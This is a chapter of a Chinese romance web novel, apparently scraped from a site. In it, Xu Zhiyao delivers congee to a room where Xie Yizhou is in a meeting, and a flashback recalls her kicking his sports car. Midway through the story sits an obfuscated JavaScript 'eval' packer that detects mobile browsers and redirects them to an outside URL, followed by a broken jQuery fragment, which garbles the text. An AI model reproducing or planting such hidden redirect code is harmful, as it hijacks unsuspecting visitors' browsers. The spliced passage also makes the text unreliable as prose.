许之瑶从女宾更衣室出来,碰见赵拓,追了上去。
赵拓转身,眉毛压着眼睛,眼窝有点深。
“那个拓哥……”许之瑶还是想解释两句,“其实是迭尔想喊你过来泡温泉的。”
赵拓望旁边眺了一眼,说:“她想要邀请谁是她的自由,我管不着。”
许之瑶想起刚刚的“鹌鹑”,心里过意不去。
“对不起啊拓哥。”许之瑶说。
“这是我和她之间的事,”赵拓的表情有些无奈,“你不用替她道歉。”
许之瑶没再说什么。
赵拓的视线低了低,又抬起。
最后说了句:“只是她一直这么幼稚的话,会给身边人带来挺多麻烦的,没有人会一直帮她解决这些麻烦。”
回到房间,许之瑶呆坐了会儿,发微信问李迭尔还吃不吃晚饭。
李迭尔回:【我去bar吃。】
许之瑶就一个人去了餐厅,她没什么胃口,让阿姨盛了碗粥。
粥是青菜排骨粥,做得很广式,还放了姜丝。
冒着腾腾的热气。
许之瑶打开相机,拍了张照片,打算发在【阿瑶の碎碎念】上。
点开消息通知上的红点,是【island】给蜡梅那条帖子点的赞。
不知道是不是许之瑶的错觉,她感觉【island】最近变得很活跃,几乎在发了帖子不久他就会有所回应。
吃了会儿,李迭尔给她发来了bar的照片。
度假村的bar就在健身房旁边,不用出去。
照片拍的是吧台上的两杯鸡尾酒,后面还有冰桶和一排五光十色的酒柜,李迭尔另一只手的美甲搭在台面上。
没有拍到谢逸洲。
许之瑶回了句:【少喝点。】
李迭尔没再回应,估计忙着和谢逸洲pk酒量。
许之瑶喝完最后几口粥,肚子里很暖,突然想起嘉欣还生着病,不知道有没有人给她送晚餐吃。
犹豫了一会儿,许之瑶还是打了一份粥,带到了A006门口。
敲门的时候许之瑶说:“嘉欣你在吗——”
里面没有动静。
许之瑶看了看手里的粥,想着那就给李迭尔当夜宵吧,打算转身走了。
门这时候被打开,许之瑶抬眼,一道分明的下颌线从缝隙中晃过。
许之瑶愣了愣。
谢逸洲……没有和李迭尔去bar。
谢逸洲看了她一眼,留着门,转身走了回去,嘴里还在说话,讲得是粤语:“云南的可行性报告谁做的?EBITDA三年内达到18%怎么得出来的?依据是什么?”
谢逸洲在沙发上坐下,对着面前的一台笔记本电脑,身上只穿了件浴袍。
许之瑶才注意到他戴着一副耳机,正在开会。
许之瑶走进去,嘉欣似乎在浴室里洗澡。
她拎着粥,站在离沙发不远的地方,不知道应不应该跟谢逸洲说一声。
但谢逸洲拧着眉心,一直盯着电脑屏幕。
许之瑶等了好久,小心翼翼走过去,把粥放到桌子上。
“什么事?”谢逸洲的视线短暂抬起。
许之瑶把粥放下,缩回了手,一时有点支吾:“那个,给嘉欣打的粥。我以为你……”
“有心,多谢。”谢逸洲没看她,手指在触摸板上移动。
许之瑶刚想说不客气,谢逸洲继续对着电脑讲话,口吻很不客气:“没有江叙,锐方做什么机器人?”
许之瑶深呼吸:“那我先走了……”
谢逸洲没听见:“Steven算哪根葱?告诉他,就算他三步一跪十步一拜,也得把江叙求回来!不然他也别干了。”
许之瑶觉得自己再说话显得有点多余了,默默转身走出去。
走到门口,谢逸洲却突然喊住她——“许之瑶。”
许之瑶茫然地回过头。
谢逸洲已经把放粥的那个袋子拿到了手边。
“你好像没拿勺子,”谢逸洲看着那个袋子,“怎么喝?”
“不会啊……”许之瑶奇怪,“我明明拿了的。”
谢逸洲撇开脸看电脑,抱着手往身后一靠,像是不耐烦:“那你来看。”
许之瑶记得阿姨打包的时候,是有把勺子放进袋子的。
谢逸洲仍然冷着脸,许之瑶走过去,站到沙发和桌子中间,离谢逸洲还有两步,弯腰去翻那个袋子。
翻了翻左边和右边,确实没有勺子。许之瑶伸手到底下摸了一圈,发现勺子是被压在盒子底下了,有点小、又是透明的,所以看不见。
许之瑶把勺子拿出来,说:“你看是有的。”
许之瑶不经意间回头,谢逸洲离她太近了,抬着纤长细密的眼睫,盯着她看,像是盯了好一会儿,眼眶里泛着暗红。
许之瑶心头忽地一跳,放下了勺子。
想逃开。
瞬间想了一万遍不应该过来送粥,一万遍不应该站在这里,一万遍不应该翻出这只勺子。
也在这一瞬间,谢逸洲攥住了她抽回的手腕,用劲一拽,将她拉进了怀里。
热腾腾的、粗重的气息,带着一股干净清冽的皂角香,铺天盖地将许之瑶围拢,一点风都透不进。
许之瑶的眼眸漆黑,停不下转动。
谢逸洲垂着眼睛看她,唇角敛了敛,紧实的胸膛起伏着。
这一瞬间过了很久。
在许之瑶说话之前,谢逸洲先开口了。
“许之瑶,”谢逸洲扯出个轻佻的笑,拧了拧眉头,“你是不是故意的?”
许之瑶以为谢逸洲在说她特意来送粥的事。
“好玩吗?”谢逸洲睨着她,眸子很冷,“你想让你的朋友试探什么?现在有机会,你不妨亲口问问我?”
许之瑶眨了眨眼,别开视线:“我没有。”
谢逸洲的喉结滚动了一下,笑从脸上消失:“你现在没有什么要问我的?还是你不敢问?”
许之瑶沉默了很久,等快要蹦出胸腔的心脏慢慢平息,才抬起眼睛。
她直视着谢逸洲,声音很轻了:“你希望我问你什么?”
谢逸洲眼睛里有什么东西划落,突然就没了声,脸色就像没打腻子的墙壁,一片灰僵。
浴室里的廖嘉欣突然喊——
“阿zoe,我忘拿毛巾了,可不可以帮我拿毛巾进来?”
许之瑶条件反射一般,从谢逸洲怀里逃脱,一路跑回了房间。
关上门,许之瑶坐到自己的床上,努力平复自己的心绪。
可是脑海里关于谢逸洲的种种就是挥之不去。
越是靠近谢逸洲,那些决定要忘得一干二净的回忆就越是清晰。
那天离开中环的赛车场,许之瑶把盒子里的手帕拿了出来,丢掉了那层白棉纸,连精心挑选的盒子也一并丢了。
在之后的某天,装作很平常的样子把手帕还给了Paul。
并不是因为谢逸洲说什么。
而是她清醒地知道,Paul那样的人,就是可望而不可及的,她可以把爱慕藏在心里,但如果堂而皇之地露出马脚,那就真的变成可笑的癞蛤蟆了。
许之瑶不想做癞蛤蟆,宁愿Paul从头到尾都不知道。
但她有一天下班,在大楼外面又看见那辆熟悉的红色跑车,还是忍不住走上前,偷偷踹了两脚。
踹完之后,她心情畅快很多,仰着头走。
却被从车里下来的谢逸洲喊住:“喂——你把我车踢坏了就走啊?”
许之瑶吓了一跳,她以为黑漆漆的车里没人。
许之瑶转过身:“怎么可能?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025939|194401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她就轻轻踹了两脚,怎么可能把车踢坏?
“不信你自己过来看啊。”谢逸洲穿着件带帽兜的衣服,脸被帽子围得很瘦,高大又懒散的人影站在路灯下面。
许之瑶半信半疑走过去看,谢逸洲抬了抬脚,示意了一下坏的地方。
许之瑶凑近,被她踢过的地方还真凹进去一块。
许之瑶还是觉得很不可思议。
“你……你这个地方本来就凹的吧?”她一边否认一边提心吊胆。
因为她想到她一定赔不起这辆车的修理费。
“怎么?想抵赖啊?”谢逸洲轻嗤,朝旁边的监控撇了一眼,“这有CCTV,你刚刚踹了几下,怎么踹的,我的车怎么坏的,都拍得一清二楚。”
许之瑶望了望屋檐下的监控,闷不做声。
“不承认没关系啊……”谢逸洲仰着下巴,眼皮冷淡地低掩着,就差把鼻孔翻上天的程度,拽拽地看她,“报警咯。”
“看你是想以恶意损害他人财物罪进警署,还是想大事化小小事化了咯……”
“不过别怪我没提醒你,”谢逸洲把脸转向旁边,有种事不关己的得意,“恶意损害他人财物,可以吃十年牢饭。”
许之瑶看着他那副坏透了的样子,拳头握起来直发抖。
谢逸洲迈出长腿,悠哉晃了两大步过来,许之瑶不自觉往后退。
谢逸洲被她这幅样子逗笑,右侧的唇角勾得更深,扯出两道尖而细的浅窝,原本端净的五官就显出蔫坏的痞子样。
“怎么样啊你——”谢逸洲拉长了嗓音问。
许之瑶的呼吸因为生气变得相当急促,胸膛剧烈的起伏着,但她是个无论多生气都能冷静下来保持理智的人。
更何况面前是个丝毫不讲原则的无赖。
她更没有在他面前生气的必要,不然只会让他更得意罢了。
许之瑶把自己的帆布袋从肩膀上拿下来,拎给谢逸洲。
谢逸洲盯着那个袋子,眼神懵了会。
“干嘛?”他问。
“那就私了,”许之瑶决定用无赖的方法对付无赖,“但我浑身上下只有这一个袋子,手机钱包雨伞钥匙,还有一顶帽子,都在里面了。”
许之瑶甚至胆大妄为地把包塞到了谢逸洲胸前,继续说:“喏,赔给你。”
谢逸洲饶有趣味地看着她,瞟了一眼,没接那个袋子,转身靠在车上,慵慵懒懒打了个哈欠:“你要是坚持用破烂打发我,我也只好跟警察叔叔说,我的车坏得不严重,十几二十万就能修好,只是这种见车就踹还死不认错的非良好市民,实在太恶劣,为了香港街道的安全——”
他还清了清嗓子:“建议把这种人抓起来、关她个十年八年才好。”
许之瑶真的急了,收回了袋子,跨了几大步路走到他面前。
“那你想怎么样?你说——”气得眉毛都拧在一起,“我奉陪到底。”
许之瑶抬着头,乌亮又生气的眼睛在黑夜里扑忽闪烁,嘴巴抿着一股倔强,风还吹起她的几缕头发,轻盈柔软地飘在空中。
她就这么看着谢逸洲,一副天不怕地不怕破罐子也要破摔的模样。
谢逸洲忽地又笑了。
这个笑容和刚才的又不太一样,低沉清晰的嗓音从胸腔里震荡出来,嘴角扬了又扬,笑起来微弓着背,一阵一阵地收紧肚子。
许之瑶清晰地听见:“哈哈、哈哈哈、哈。”
是一种忍不住的笑。
许之瑶瞪着眼睛,还是不知道有什么好笑的。
谢逸洲笑完了,转身拉开了车门,半边坐进车里,手搭在车门上,对许之瑶说了句:“上车吧——”
许之瑶原本愤怒的眼睛一下失去了焦点,站在原地“啊”了一声。
谢逸洲的脑袋又从窗户里探出来:“上车啊,不是你说奉陪到底的么?”